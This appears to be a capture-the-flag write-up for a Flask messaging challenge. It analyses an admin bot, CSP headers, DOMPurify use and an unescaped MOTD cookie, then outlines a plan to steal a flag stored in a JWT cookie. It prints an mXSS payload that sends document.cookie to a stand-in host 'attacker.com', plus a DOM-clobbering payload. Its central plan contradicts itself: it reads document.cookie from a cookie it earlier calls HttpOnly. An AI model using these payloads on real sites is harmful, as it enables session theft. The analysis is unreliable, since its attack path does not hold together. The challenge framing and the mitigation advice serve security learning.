# Unrealistic Client-Side Challenge - Flag 1 Analysis

## Application Overview

This is a Flask-based anonymous messaging application with the following architecture:

- **Main Application** (Port 5000): Authentication, messaging, bot control
- **MOTD Application** (Port 5001): Message of the Day display (NOT exposed remotely)

### Key Components

1. **Authentication**: JWT-based sessions stored in HttpOnly cookies
2. **Messaging**: Users can send anonymous messages to other users
3. **Admin Bot**: Selenium bot that logs in as admin and visits attacker-supplied URLs
4. **MOTD**: Special endpoint that displays customizable message

## Vulnerability Analysis

### 1. Bot Behavior Flow

From [bot_runner.py](src/bot_runner.py#L28-45):

```python
def run_admin_bot(target_url: str):
    driver.get(f"{base}/motd")          # Step 1: Visit MOTD
    driver.get(f"{base}/login")          # Step 2: Login page
    # ... login as admin ...
    driver.get(f"{base}/flag")           # Step 3: Get flag in JWT cookie
    driver.get(target_url)               # Step 4: Visit attacker URL
    time.sleep(10)                        # Step 5: Wait
```

**Critical**: After visiting `/flag`, the flag is stored in the session cookie as a JWT claim:

```python
@app.get("/flag")
def flag():
    flag = _read_flag_file("flag1.txt")
    resp = make_response("OK")
    issue_session_cookie(resp, int(session["sub"]), extra_claims={"flag": flag})
    return resp
```

The JWT structure becomes:
```json
{
  "sub": "1",
  "iat": 1234567890,
  "exp": 1234574890,
  "flag": "uoftctf{...}"  ← FLAG IS HERE
}
```

### 2. Content Security Policy Analysis

**Port 5000 (Main App)** - [app.py](src/app.py#L259-265):
```python
@app.after_request
def _set_security_headers(resp):
    if not resp.headers.get("Content-Security-Policy"):
        resp.headers["Content-Security-Policy"] = (
            "default-src 'none'; "
            "base-uri 'none'; "
            f"script-src 'unsafe-inline';"  ← INLINE SCRIPTS ALLOWED
            "style-src 'self'; "
        )
    return resp
```

**Port 5000 /inbox** - [app.py](src/app.py#L383-388):
```python
resp.headers["Content-Security-Policy"] = (
    "default-src 'none'; "
    f"script-src 'nonce-{nonce}';"  ← ONLY NONCE ALLOWED
    "style-src 'self'; "
    "connect-src 'self';"
)
```

**Port 5001 (MOTD App)** - [app.py](src/app.py#L357):
```python
resp.headers["Content-Security-Policy"] = "default-src 'none'; img-src http: https:; style-src 'self';"
```
Note: No `script-src` means scripts are blocked entirely.

### 3. Message Sanitization with DOMPurify

The inbox uses DOMPurify 3.3.1 to sanitize message bodies - [inbox.html](src/templates/inbox.html#L31-32):

```javascript
const data = await api('/api/messages/' + encodeURIComponent(id));
const clean = window.DOMPurify.sanitize(data.body, {RETURN_TRUSTED_TYPE: false});
view.innerHTML = clean;
```

**DOMPurify 3.3.1** is a robust XSS sanitizer, but:
- May have undiscovered bypasses
- mXSS (mutation XSS) vulnerabilities exist in various versions
- DOM clobbering attacks might disable it
- Namespace confusion (SVG/MathML) can lead to bypasses

### 4. MOTD Cookie Injection Vulnerability

**Location**: [app.py](src/app.py#L354-357) and [templates/motd.html](src/templates/motd.html#L3)

```python
@motd_app.get("/motd")
def motd():
    raw_motd = request.cookies.get(COOKIE_NAME_MOTD)
    motd_text = (
        unquote_plus(raw_motd)  # URL decodes cookie value
        if raw_motd is not None
        else '"Go Go Squid! is peak fiction" - Sun Tzu'
    )
    resp = make_response(render_template("motd.html", motd=motd_text, flag=flag2))
```

Template renders with `| safe` filter (no escaping):
```html
<p>{{ motd | safe }}</p>  ← UNSAFE!
```

**Problem**: User-controlled cookie value is rendered without sanitization!

**Constraint**: 
- Port 5001 is not exposed remotely
- CSP blocks all scripts on port 5001
- We cannot directly set cookies for the bot

## Attack Vectors

### Vector 1: DOMPurify Bypass (MOST LIKELY)

**Goal**: Bypass DOMPurify 3.3.1 sanitization in the inbox

**Method**:
1. Send message to admin with mXSS payload
2. Bot visits `/flag` (flag stored in JWT)
3. Bot visits `http://127.0.0.1:5000/inbox`
4. Inbox loads malicious message
5. DOMPurify bypass causes XSS execution
6. JavaScript exfiltrates `document.cookie`

**Bypass Techniques to Try**:
- mXSS via `<form><math>` namespace confusion
- SVG with `<style><![CDATA[]]>` escape
- MathML annotation exploitation
- DOM clobbering to override `window.DOMPurify`
- Template injection
- Noscript mutation

**Example Payload**:
```html
<form><math><mtext></form><form><mglyph><style></math><img src=x onerror=fetch("https://attacker.com/steal?c="+document.cookie)>
```

### Vector 2: MOTD Cookie Tossing (BLOCKED)

**Concept**: Inject XSS via MOTD cookie

**Constraint**: We cannot set cookies for the bot's browser, and port 5001's CSP blocks all scripts anyway.

### Vector 3: DOM Clobbering

**Goal**: Clobber DOMPurify or API functions

**Method**:
```html
<form id="DOMPurify"><input name="sanitize"></form>
<img src=x onerror=alert(1)>
```

If we can clobber `window.DOMPurify` or `window.DOMPurify.sanitize`, the sanitization fails.

### Vector 4: CSS Injection (Limited)

Even if we can't execute JavaScript, CSS injection might leak data:
- Attribute selectors to leak input values
- Font-face unicode-range technique
- Background image requests with partial data

**Problem**: Can't read `document.cookie` via CSS.

## Exploitation Steps

### Step 1: Setup

1. Run the application locally
2. Setup webhook/ngrok to receive exfiltrated data
3. Run the exploit script: `python exploit.py`

### Step 2: Payload Delivery

Send malicious message to admin:
```python
POST /compose
to=admin
body=<XSS_PAYLOAD>
```

### Step 3: Trigger Bot

```python
POST /bot
url=http://127.0.0.1:5000/inbox
```

Bot will:
1. Visit /motd
2. Login as admin
3. Visit /flag (FLAG IN COOKIE)
4. Visit /inbox (YOUR XSS EXECUTES)
5. Cookie exfiltrated to your webhook

### Step 4: Extract Flag from JWT

The exfiltrated cookie is a JWT. Decode it at https://jwt.io or:

```python
import jwt
token = "eyJ..."  # Your captured JWT
decoded = jwt.decode(token, options={"verify_signature": False})
print(decoded["flag"])
```

## Tools Provided

### exploit.py

Main exploit tool with multiple DOMPurify bypass attempts:
```bash
python exploit.py
```

Features:
- Automatic account registration
- 8 different XSS payload variants
- Bot triggering
- JWT decoding instructions

### Test Locally

1. Build and run the application:
```bash
cd src
python app.py
```

2. In another terminal:
```bash
python exploit.py
```

3. Enter your webhook URL (ngrok, webhook.site, requestbin, etc.)

4. Select payload to test

5. Monitor webhook for exfiltrated cookie

## Mitigation Recommendations

1. **Never use `| safe` filter** on user-controlled data
2. **Update DOMPurify** to latest version regularly
3. **Use CSP with strict nonces** on all pages
4. **Don't store sensitive data** in cookies accessible to JavaScript
5. **Use `HttpOnly` and `Secure` flags** properly
6. **Validate and sanitize** all cookie values server-side
7. **Implement rate limiting** on bot endpoint

## References

- [DOMPurify Bypasses](https://research.securitum.com/mutation-xss-via-mathml-mutation-dompurify-2-0-17-bypass/)
- [mXSS Attacks](https://cure53.de/fp170.pdf)
- [DOM Clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
- [CSP Bypass Techniques](https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass)

## Challenge Metadata

- **Challenge**: Unrealistic Client-Side Challenge - Flag 1
- **Points**: 500
- **Difficulty**: Hard
- **Category**: Web Exploitation / Client-Side
- **Skills**: XSS, DOMPurify bypasses, CSP analysis, JWT handling
